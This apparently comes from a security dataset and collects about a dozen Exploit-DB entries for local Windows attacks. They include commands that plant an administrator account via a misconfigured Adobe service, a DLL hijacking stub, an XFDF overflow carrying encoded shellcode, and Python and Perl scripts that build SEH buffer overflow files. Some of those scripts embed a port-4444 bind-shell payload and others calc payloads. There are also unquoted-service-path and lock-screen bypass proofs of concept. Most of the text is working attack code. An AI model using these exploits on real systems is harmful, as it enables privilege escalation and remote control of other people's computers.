deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9807
Description: Adobe Photoshop Elements 8.0 - Active File Monitor Privilege Escalation
Type: local
Platform: windows
Date: 2009-09-29
Author: pyrokinesis

Exploit:
Adobe Photoshop Elements 8.0 Active File Monitor Service Bad Security Descriptor Local Elevation Of Privileges
by Nine:Situations:Group::bellick
site: http://retrogod.altervista.org/

Tested on Microsoft Windows XP SP3

The "Adobe Active File Monitor V8" service is installed with an improper security descriptor.
A malicious user of the Users group (which on xp means a "limited account") can stop the service,
then invoke the "sc config" command to replace the binary path with a value of choice, then restart
the service to run the command with SYSTEM privileges ex., run theese commands as a limited user:

sc stop "AdobeActiveFileMonitor8.0"
sc config "AdobeActiveFileMonitor8.0" binPath= "cmd /c net user adobe kills /add && net localgroup Administrators adobe /add"
sc start "AdobeActiveFileMonitor8.0"
runas /noprofile /user:%COMPUTERNAME%\adobe cmd

now login as administrator with password "kills"

mitigation:

the security descriptor of the service is like this:

C:\>sc sdshow "AdobeActiveFileMonitor8.0"

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

note the WO and WD permission for Everyone (!!!!!)

change the security descriptor like the following:

c:\sc sdset "AdobeActiveFileMonitor8.0" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
[SC] SetServiceObjectSecurity SUCCESS

readings, interesting article:
http://msmvps.com/blogs/erikr/archive/2007/09/26/set-permissions-on-a-specific-service-windows.aspx
Exploit-DB #14771
Description: Adobe Premier Pro CS4 - 'ibfs32.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Glafkos Charalambous

Exploit:
/* 
Exploit Title: Adobe Premier Pro CS4 DLL Hijacking Exploit (ibfs32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: CS4 v4.0.0 (314 (MC: 160820))
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .pproj .prfpset .prexport .prm .prmp .prpreset .prproj .prsl .prtl .vpr
Greetz: Astalavista, OffSEC, Exploit-DB
*/

#include <windows.h>

BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
    switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		dll_hijack();
	case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
	break;
	}
	return TRUE;
}

int dll_hijack()
{
  MessageBox(0, "Adobe DLL Hijacking!", "DLL Message", MB_OK);
}
Exploit-DB #6994
Description: Adobe Reader - 'util.printf()' JavaScript Function Stack Overflow (1)
Type: local
Platform: windows
Date: 2008-11-05
Author: Elazar

Exploit:
Adobe Reader 'util.printf()' JavaScript Function Stack Buffer Overflow Exploit
author: Elazar

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6994.pdf (2008-APSB08-19.pdf)

# milw0rm.com [2008-11-05]
Exploit-DB #11987
Description: Adobe Reader - Escape From '.PDF' Execute Embedded Executable
Type: local
Platform: windows
Date: 2010-03-31
Author: Didier Stevens

Exploit:
Title	: Escape From PDF
Author	: Didier Stevens
Date	: 03/29/2010
Source	: http://blog.didierstevens.com/2010/03/29/escape-from-pdf/

This is a special PDF hack: I managed to make a PoC PDF to execute an embedded executable without exploiting any vulnerability!

I use a launch action triggered by the opening of my PoC PDF. With Adobe Reader, the user gets a warning asking for approval to launch the action, but I can (partially) control the message displayed by the dialog. Foxit Reader displays no warning at all, the action gets executed without user interaction.

PDF viewers like Adobe Reader and Foxit Reader don’t allow embedded executables (like binaries and scripts) to be extracted and executed, but I found another way to launch a command (/Launch /Action), and ultimately run an executable I embedded using a special technique. With Adobe Reader, a launch action needs to be approved by the user, but I can partially control the message displayed by the dialog box.

	Example 1:
	http://didierstevens.files.wordpress.com/2010/03/20[PII_REDACTED]48.png?w=478&h=262

	Example 2:
	http://didierstevens.files.wordpress.com/2010/03/20[PII_REDACTED]13.png?w=478&h=262

Do you believe this could this mislead some of your users? Or maybe you can come up with a better message to fool your users.

With Foxit Reader, no warning is displayed:

	Example 3:
	http://didierstevens.files.wordpress.com/2010/03/20[PII_REDACTED]10.png?w=457&h=385

I’m not publishing my PoC PDF yet, but you can download a PDF that will just launch cmd.exe here. Use it to test your PDF reader:

	https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11987.zip (launch-action-cmd.zip)

With Adobe Reader, the only thing preventing execution is a warning. Disabling JavaScript will not prevent this (I don’t use JavaScript in my PoC PDF), and patching Adobe Reader isn’t possible (I’m not exploiting a vulnerability, just being creative with the PDF language specs).

I shared my PoC with Adobe’s PSIRT. Maybe they will come up with a solution to prevent this, should they consider that the protection offered by the warning dialog is not sufficient. BTW, preventing Adobe Reader from creating new processes blocks this trick.

n this case, Foxit Reader is probably worse than Adobe Reader, because no warning gets displayed to prevent the launch action. My PoC PDF requires some changes for Foxit Reader, because ultimately, the executable doesn’t run. But that’s probably due to some variation in the PDF language supported by Foxit Reader.

Tested with Adobe Reader 9.3.1 on Windows XP SP3 and Windows 7.
Exploit-DB #17488
Description: Adobe Reader 5.1 - XFDF Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2011-07-04
Author: extraexploit

Exploit:
# Exploit Title: Adobe Reader 5.1 XFDF Buffer Overflow Vulnerability (SEH)
# Google Dork: N/A or filtype ".xfdf"
# Date: 04/01/2011
# Author: extraexploit@gmail.com / http://extraexploit.blogspot.com
# Software Link: http://www.oldversion.com/download/acrobat51.exe
# Version: Acrobat (formerly Adobe) Reader 5.1
# Tested on: XP SP3
# CVE : cve-2004-0194
# http://extraexploit.blogspot.com/2011/07/old-bug-for-new-job-cve-2004-0194.html

<?xml version="1.0" encoding="ISO-8859-1"?>
<xfdf xmlns="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz AAUO<81>.AAAAAAAAAAAAAAAAAAAAAAAAAAT]ÚÞÙuô_WYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLZHK9GpC0GpQpK9IuTqN2PdNkQBTpLKCbTLLKV2EDNkCBQ8VoOGRjTfVQIoEaIPNLGLQqQlC2TlGPO1ZoVmC1XGKRL0V2QGLKRrR0LKG2GLC1ZpNkG0QhK5IPQdPJEQN0RpNkCxR8LKChQ0EQZsXcGLPINkVTNkVaIFEaIoP1O0LlIQZoTMC1KwEhIpPuIdGsCMIhEkQmQ4T5IrChNkQHVDEQICRFNkTLRkNkQHGlGqKcLKTDLKVaZpMYCtVDQ4QKCkQqCiQJRqKOM0QHQOPZNkGbZKNfQMRJEQLMLENYGpC0C0RpPhEaLKROOwKON5OKL0OEI2RvRHI6MEOMOmIoZuElTFCLEZOpIkIpQeEUOKCwGcCBPoRJGpQCIoXURCPaPlRCTnQuPxPeEPAA" xml:space="preserve">
<fields>
<field name="Date of Birth"><value>01-01-1960</value></field>
<field name="Your Name"><value>Mr. Customer</value></field>
</fields>
<ids original="FEBDB19E0CD32274C16CE13DCF244AD2" modified="5BE74DD4F607B7409DC03D600E466E12"/>
</xfdf>

Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17488.xfdf (cve-2004-0194.xfdf.xfdf)
Exploit-DB #44573
Description: Adobe Reader PDF - Client Side Request Injection
Type: local
Platform: windows
Date: 2018-05-02
Author: Alex Inführ

Exploit:
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% modified by InsertScript 

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
    <interactive>1</interactive>
</pdf></present></config>

<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello World!">
            <event activity="docReady" ref="$host" name="event__click">
               <submit 
                     textEncoding="UTF-16&#xD;&#xA;test: test&#xD;&#xA;"
                     xdpContent="pdf datasets xfdf"
                     target="http://example.com/test"/>
            </event>
</field>
    </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 1 0 R
        >>
        /Pages <<>>
    >>
>>
Exploit-DB #17473
Description: Adobe Reader X 10.0.0 < 10.0.1 - Atom Type Confusion
Type: local
Platform: windows
Date: 2011-07-03
Author: Snake

Exploit:
# Exploit Title: Adobe Reader X Atom Type Confusion Vulnerability Exploit
# Date: 7/3/2011
# Author: Snake ( Shahriyar.j < at > gmail )
# Version: Adobe Reader X < 10.1
# Tested on: 10.0.0 - 10.0.1 - Windows 7 - IE/FF/Opera
# CVE : CVE-2011-0611
#
#This is the exploit I wrote for Abysssec "The Arashi" article.
#It gracefully bypass DEP/ASLR ( not the sandbox ) in Adobe Reader X,
#and we named this method "Tatsumaki DEP/ASRL Bypass" : >
#It work reliably on IE9/FF4 and other browsers.
#
# The Arashi : http://abysssec.com/files/The_Arashi.pdf
               http://www.exploit-db.com/docs/17469.pdf
# me : twitter.com/ponez
# also check here for The Persian docs of this methods and more :
http://www.0days.ir/article/

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17473.pdf (cve-2011-0611_exploit.pdf)
Exploit-DB #39954
Description: AdobeUpdateService 3.6.0.248 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-06-15
Author: Cyril Vallicari

Exploit:
----------------------------------------------------------------------------------------------------------
# Exploit Title:  AdobeUpdateService  - Privilege Escalation Unquoted Service Path vulnerability
# Date: 18/05/2016
# Exploit Author : Cyril Vallicari
# Vendor Homepage: http://www.adobe.com/fr/
# Software Link:  http://www.adobe.com/downloads.html
# Version:  3.6.0.248
# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)


The application suffers from an unquoted search path issue impacting the service 'AdobeUpdateService' for Windows deployed as part of Adobe Creative Cloud

This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges on the system.

POC :


C:\Users\Utilisateur>sc qc AdobeUpdateService

[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: AdobeUpdateService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AdobeUpdateService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem



Video POC : https://www.youtube.com/watch?v=RyzYkd05xM4

Patch :

Fixed in version 3.7.0.271

Additional notes :

https://helpx.adobe.com/security/products/creative-cloud/apsb16-21.html
Exploit-DB #26367
Description: Adrenalin Player 2.2.5.3 - '.asx' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2013-06-21
Author: Onying

Exploit:
# ======================================================================================#
# !/usr/bin/python									#
# Title:                Adrenalin Player (.asx) - SEH Buffer Overflow 			#
# software: 		Adrenalin Player						#
# version : 		2.2.5.3								#
# Platform:             Windows XP sp3							#
# Date:                 June 18th, 2013							#
# Author:               onying (@onyiing)						#
# Blog :		http://itsecuritynewbie.blogspot.com/ 				#
# Thanks to:            Information Security Shinobi Camp | http://www.is2c-dojo.com 	#
# ======================================================================================#
header="<asx version = 3.0 > "
junk= "\x90" * 2079
junk+="\xeb\x06\x90\x90" #jmp short
junk+="\x13\xf3\x16\x10" #POP POP RETN AdrenalinX.dll
junk+="\x90" * 16 # NOP padding before shellcode

#win32_bind - EXITFUNC=process LPORT=4444 Size=344 Encoder=ShikataGaNa
junk+=("\xbb\x25\xaa\xd2\xa3\x2b\xc9\xda\xd6\xd9\x74\x24\xf4\x5e\xb1\x51"
"\x31\x5e\x10\x83\xee\xfc\x03\x7b\xa6\x30\x56\x7f\xdc\x5f\xd4\x97"
"\xd8\x5f\x18\x98\x7b\x2b\x8b\x42\x58\xa0\x11\xb6\x2b\xca\x9c\xbe"
"\x2a\xdc\x14\x71\x35\xa9\x74\xad\x44\x46\xc3\x26\x72\x13\xd5\xd6"
"\x4a\xe3\x4f\x8a\x29\x23\x1b\xd5\xf0\x6e\xe9\xd8\x30\x85\x06\xe1"
"\xe0\x7e\xcf\x60\xec\xf4\x50\xae\xef\xe1\x09\x25\xe3\xbe\x5e\x66"
"\xe0\x41\x8a\x9b\x34\xc9\xc5\xf7\x60\xd1\xb4\xc4\x58\x32\x52\x41"
"\xd9\xf4\x10\x15\xd2\x7f\x56\x89\x47\xf4\xd7\xb9\xc9\x63\x56\xf7"
"\xfb\x9f\x36\xf8\xd2\x06\xe4\x60\xb3\xf5\x38\x04\x34\x89\x0e\x8b"
"\xee\x92\xbf\x5b\xc4\x80\xbc\xa0\x8a\xa5\xeb\x89\xa3\xbf\x72\xb4"
"\x59\x37\x79\xe3\xcb\x4a\x82\xdb\x64\x92\x75\x2e\xd9\x73\x79\x06"
"\x71\x2f\xd6\xf5\x25\x8c\x8b\xba\x9a\xed\xfc\x5a\x75\x03\xa1\xc4"
"\xd6\xaa\xb8\x9d\xb1\x08\x20\xed\x86\x06\xaa\xdb\x63\xb9\x05\xb6"
"\x8c\x69\xcd\x9c\xde\xa4\xe7\x8b\xdf\x6f\xa4\x66\xdf\x40\x23\x6d"
"\x56\xe7\xfd\x3a\x96\x31\xad\x90\x3c\xeb\xb1\xc8\x2e\x7b\xa9\x91"
"\x96\x05\x62\x9e\xc1\xa3\x73\xb0\x88\x21\xe8\x56\x3d\xd5\x9d\x1f"
"\x58\x73\x0e\x46\x8a\x48\x27\x9f\xa6\x14\xb1\xbd\x06\x55\x32\xeb"
"\x97\x17\x98\x15\x25\xb4\x71\x64\xd0\xfc\xde\xdd\x8e\x95\x52\xdf"
"\x62\x73\x6c\x6a\xc1\x83\x44\xcf\x9e\x29\x38\xbe\x71\xa4\xbb\x11"
"\x23\x6d\xed\x6e\x13\xe5\xa0\x49\x91\x38\xe9\x96\x4c\xae\xf1\x97"
"\x46\xd0\xde\xec\xfe\xd2\x5c\x36\x64\xd4\xb5\xe4\x9a\xfa\x52\x76"
"\xbd\x19\xd1\xd5\xc2\x08\xe9\x09")
junk+= "\x90" * (3000-len(junk))
footer="</asx>"
file = open("adrenalin.asx","w")
file.write(header+junk+footer)
file.close()
Exploit-DB #25419
Description: Adrenalin Player 2.2.5.3 - '.m3u' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2013-05-13
Author: seaofglass

Exploit:
# Exploit Title: Adrenalin Player 2.2.5.3 Buffer Overflow Exploit(SEH)
# http://software.naver.com/software/summary.nhn?softwareId=MFS_100099
# Author: seaofglass (seaofglass@korea.com)
# Version : 2.2.5.3
# Tested on: WinXP3 KOR, Win7 KOR

my $file = "adrenalin.m3u";
my $junk = "\x90" x 2172;
my $nseh = pack('V', 0x909006EB);
my $seh = pack('V', 0x1016f313); #ppr from AdrenalinX.dll
my $nop = "\x90" x 16;
my $calc =
"\xba\x38\xdc\x15\x77\xdd\xc7\xd9\x74\x24\xf4\x5d\x33\xc9" .
"\xb1\x33\x83\xc5\x04\x31\x55\x0e\x03\x6d\xd2\xf7\x82\x71" .
"\x02\x7e\x6c\x89\xd3\xe1\xe4\x6c\xe2\x33\x92\xe5\x57\x84" .
"\xd0\xab\x5b\x6f\xb4\x5f\xef\x1d\x11\x50\x58\xab\x47\x5f" .
"\x59\x1d\x48\x33\x99\x3f\x34\x49\xce\x9f\x05\x82\x03\xe1" .
"\x42\xfe\xec\xb3\x1b\x75\x5e\x24\x2f\xcb\x63\x45\xff\x40" .
"\xdb\x3d\x7a\x96\xa8\xf7\x85\xc6\x01\x83\xce\xfe\x2a\xcb" .
"\xee\xff\xff\x0f\xd2\xb6\x74\xfb\xa0\x49\x5d\x35\x48\x78" .
"\xa1\x9a\x77\xb5\x2c\xe2\xb0\x71\xcf\x91\xca\x82\x72\xa2" .
"\x08\xf9\xa8\x27\x8d\x59\x3a\x9f\x75\x58\xef\x46\xfd\x56" .
"\x44\x0c\x59\x7a\x5b\xc1\xd1\x86\xd0\xe4\x35\x0f\xa2\xc2" .
"\x91\x54\x70\x6a\x83\x30\xd7\x93\xd3\x9c\x88\x31\x9f\x0e" .
"\xdc\x40\xc2\x44\x23\xc0\x78\x21\x23\xda\x82\x01\x4c\xeb" .
"\x09\xce\x0b\xf4\xdb\xab\xe4\xbe\x46\x9d\x6c\x67\x13\x9c" .
"\xf0\x98\xc9\xe2\x0c\x1b\xf8\x9a\xea\x03\x89\x9f\xb7\x83" .
"\x61\xed\xa8\x61\x86\x42\xc8\xa3\xe5\x05\x5a\x2f\xc4\xa0" .
"\xda\xca\x18";

open($FILE, ">$file");
print $FILE $junk . $nseh . $seh . $nop . $calc;
close($FILE);

print "m3u poc file created successfully.\n";
Exploit-DB #26242
Description: Adrenalin Player 2.2.5.3 - '.wax' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2013-06-17
Author: Onying

Exploit:
# !/usr/bin/python
# Title:                Adrenalin Player (SEH) Buffer Overflow 
# software: 		Adrenalin Player
# version : 		2.2.5.3
# Platform:             Windows XP sp3
# Date:                 June 16th, 2013
# Author:               onying (@onyiing)
# Blog :		http://itsecuritynewbie.blogspot.com/
# Thanks to:            Information Security Shinobi Camp | http://www.is2c-dojo.com


junk= "\x90" * 2140
junk+="\xeb\x06\x90\x90" #jmp short
junk+="\x13\xf3\x16\x10" #POP POP RETN
junk+="\x90" * 16 # NOP padding before shellcode

#win32_bind - EXITFUNC=process LPORT=4444 Size=344 Encoder=ShikataGaNa
junk+=("\xbb\x25\xaa\xd2\xa3\x2b\xc9\xda\xd6\xd9\x74\x24\xf4\x5e\xb1\x51"
"\x31\x5e\x10\x83\xee\xfc\x03\x7b\xa6\x30\x56\x7f\xdc\x5f\xd4\x97"
"\xd8\x5f\x18\x98\x7b\x2b\x8b\x42\x58\xa0\x11\xb6\x2b\xca\x9c\xbe"
"\x2a\xdc\x14\x71\x35\xa9\x74\xad\x44\x46\xc3\x26\x72\x13\xd5\xd6"
"\x4a\xe3\x4f\x8a\x29\x23\x1b\xd5\xf0\x6e\xe9\xd8\x30\x85\x06\xe1"
"\xe0\x7e\xcf\x60\xec\xf4\x50\xae\xef\xe1\x09\x25\xe3\xbe\x5e\x66"
"\xe0\x41\x8a\x9b\x34\xc9\xc5\xf7\x60\xd1\xb4\xc4\x58\x32\x52\x41"
"\xd9\xf4\x10\x15\xd2\x7f\x56\x89\x47\xf4\xd7\xb9\xc9\x63\x56\xf7"
"\xfb\x9f\x36\xf8\xd2\x06\xe4\x60\xb3\xf5\x38\x04\x34\x89\x0e\x8b"
"\xee\x92\xbf\x5b\xc4\x80\xbc\xa0\x8a\xa5\xeb\x89\xa3\xbf\x72\xb4"
"\x59\x37\x79\xe3\xcb\x4a\x82\xdb\x64\x92\x75\x2e\xd9\x73\x79\x06"
"\x71\x2f\xd6\xf5\x25\x8c\x8b\xba\x9a\xed\xfc\x5a\x75\x03\xa1\xc4"
"\xd6\xaa\xb8\x9d\xb1\x08\x20\xed\x86\x06\xaa\xdb\x63\xb9\x05\xb6"
"\x8c\x69\xcd\x9c\xde\xa4\xe7\x8b\xdf\x6f\xa4\x66\xdf\x40\x23\x6d"
"\x56\xe7\xfd\x3a\x96\x31\xad\x90\x3c\xeb\xb1\xc8\x2e\x7b\xa9\x91"
"\x96\x05\x62\x9e\xc1\xa3\x73\xb0\x88\x21\xe8\x56\x3d\xd5\x9d\x1f"
"\x58\x73\x0e\x46\x8a\x48\x27\x9f\xa6\x14\xb1\xbd\x06\x55\x32\xeb"
"\x97\x17\x98\x15\x25\xb4\x71\x64\xd0\xfc\xde\xdd\x8e\x95\x52\xdf"
"\x62\x73\x6c\x6a\xc1\x83\x44\xcf\x9e\x29\x38\xbe\x71\xa4\xbb\x11"
"\x23\x6d\xed\x6e\x13\xe5\xa0\x49\x91\x38\xe9\x96\x4c\xae\xf1\x97"
"\x46\xd0\xde\xec\xfe\xd2\x5c\x36\x64\xd4\xb5\xe4\x9a\xfa\x52\x76"
"\xbd\x19\xd1\xd5\xc2\x08\xe9\x09")
junk+= "\x90" * (3000-len(junk))
file = open("adrenalin.wax","w")
file.write(junk)
file.close()
Exploit-DB #26525
Description: Adrenalin Player 2.2.5.3 - '.wvx' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2013-07-01
Author: MrXors

Exploit:
#Exploit Title:Adrenalin Player 2.2.5.3 (.wvx) SEH-Buffer Overflow 
#Date:7/1/2013
#Exploit Author:MrXors
#Vendor HomePage:http://software.naver.com/software/summary.nhn?softwareId=MFS_100099
#Software Link:http://software.naver.com/software/summary.nhn?softwareId=MFS_100099
#Version App:2.2.5.3
#Tested on: Windows 7 pro x86 Fully-Patched
#CVE:None
junk="\x41"*2140    
junk+="\xeb\x06\x90\x90"#short jmp
junk+="\x39\xb1\x14\x10"#pop pop ret ***App Dll***
junk+='\x90'*16#NOPS
#Calc shellcode from msf (-b '\x00\x0a\x0d\x0b')
junk+=("\xd9\xc8\xb8\xa0\x47\xcf\x09\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x32\x31\x47\x17\x83\xc7\x04\x03\xe7\x54\x2d\xfc\x1b" +
"\xb2\x38\xff\xe3\x43\x5b\x89\x06\x72\x49\xed\x43\x27\x5d" +
"\x65\x01\xc4\x16\x2b\xb1\x5f\x5a\xe4\xb6\xe8\xd1\xd2\xf9" +
"\xe9\xd7\xda\x55\x29\x79\xa7\xa7\x7e\x59\x96\x68\x73\x98" +
"\xdf\x94\x7c\xc8\x88\xd3\x2f\xfd\xbd\xa1\xf3\xfc\x11\xae" +
"\x4c\x87\x14\x70\x38\x3d\x16\xa0\x91\x4a\x50\x58\x99\x15" +
"\x41\x59\x4e\x46\xbd\x10\xfb\xbd\x35\xa3\x2d\x8c\xb6\x92" +
"\x11\x43\x89\x1b\x9c\x9d\xcd\x9b\x7f\xe8\x25\xd8\x02\xeb" +
"\xfd\xa3\xd8\x7e\xe0\x03\xaa\xd9\xc0\xb2\x7f\xbf\x83\xb8" +
"\x34\xcb\xcc\xdc\xcb\x18\x67\xd8\x40\x9f\xa8\x69\x12\x84" +
"\x6c\x32\xc0\xa5\x35\x9e\xa7\xda\x26\x46\x17\x7f\x2c\x64" +
"\x4c\xf9\x6f\xe2\x93\x8b\x15\x4b\x93\x93\x15\xfb\xfc\xa2" +
"\x9e\x94\x7b\x3b\x75\xd1\x7a\xca\x44\xcf\xeb\x75\x3d\xb2" +
"\x71\x86\xeb\xf0\x8f\x05\x1e\x88\x6b\x15\x6b\x8d\x30\x91" +
"\x87\xff\x29\x74\xa8\xac\x4a\x5d\xcb\x33\xd9\x3d\x0c")
x=open('Exploit.wvx', 'w')
x.write(junk)
x.close()
Exploit-DB #40995
Description: Advanced Desktop Locker 6.0.0 - Lock Screen Bypass
Type: local
Platform: windows
Date: 2017-01-08
Author: Squnity

Exploit:
Exploit Title : Advanced Desktop Locker [ Locker Bypass ]
# Date: 8 - 1 - 2017
# Software Link: http://www.encrypt4all.com/products/advanced-desktop-locker-information.php
# Sofrware Version : 6.0.0
# Exploit Author: Squnity | Sir.matrix
# Contact: secfathy@squnity.com
# Website: https://www.squnity.com
# Category: windows

1. Description

This Application Developed To Lock Desktop Control When User Download Files
Or Anywhere
I Can Kill TASK TO Bypass This Application


2. Proof of Concept

- Lock Your Desktop With ADL
- Click on Ctrl + R [ Run Shortcut ]
- Write CMD & Write taskmgr
- When Task Manager Open , Select ADL Prossess And Click Delete To Kill
- Exploited


POC Video :


https://www.youtube.com/watch?v=UXjHwzz2sEo&feature=youtu.be
Exploit-DB #51412
Description: Advanced Host Monitor v12.56 - Unquoted Service Path
Type: local
Platform: windows
Date: 2023-05-02
Author: Mr Empy

Exploit:
# Exploit Title: Advanced Host Monitor v12.56 - Unquoted Service Path
# Date: 2023-04-23
# CVE: CVE-2023-2417
# Exploit Author: MrEmpy
# Vendor Homepage: https://www.ks-soft.net
# Software Link: https://www.ks-soft.net/hostmon.eng/downpage.htm
# Version: > 12.56
# Tested on: Windows 10 21H2


Title:
================
Advanced Host Monitor > 12.56 - Unquoted Service Path


Summary:
================
An unquoted service path vulnerability has been discovered in Advanced Host
Monitor version > 12.56 affecting the executable "C:\Program Files
(x86)\HostMonitor\RMA-Win\rma_active.exe" . This vulnerability occurs when
the service's path is misconfigured, allowing an attacker to run a
malicious file instead of the legitimate executable associated with the
service.

An attacker with local user privileges could exploit this vulnerability to
replace the legitimate RMA-Win\rma_active.exe service executable with a
malicious file of the same name and located in a directory that has a
higher priority than the legitimate directory. That way, when the service
starts, it will run the malicious file instead of the legitimate
executable, allowing the attacker to execute arbitrary code, gain
unauthorized access to the compromised system, or stop the service from
functioning.

To exploit this vulnerability, an attacker would need local access to the
system and the ability to write and replace files on the system. The
vulnerability can be mitigated by correcting the service path to correctly
quote the full path of the executable, including quotation marks.
Furthermore, it is recommended that users keep software updated with the
latest security updates and limit physical and network access to their
systems to prevent malicious attacks.


Proof of Concept:
================

C:\>sc qc ActiveRMAService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ActiveRMAService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files
(x86)\HostMonitor\RMA-Win\rma_active.exe /service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : KS Active Remote Monitoring Agent
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem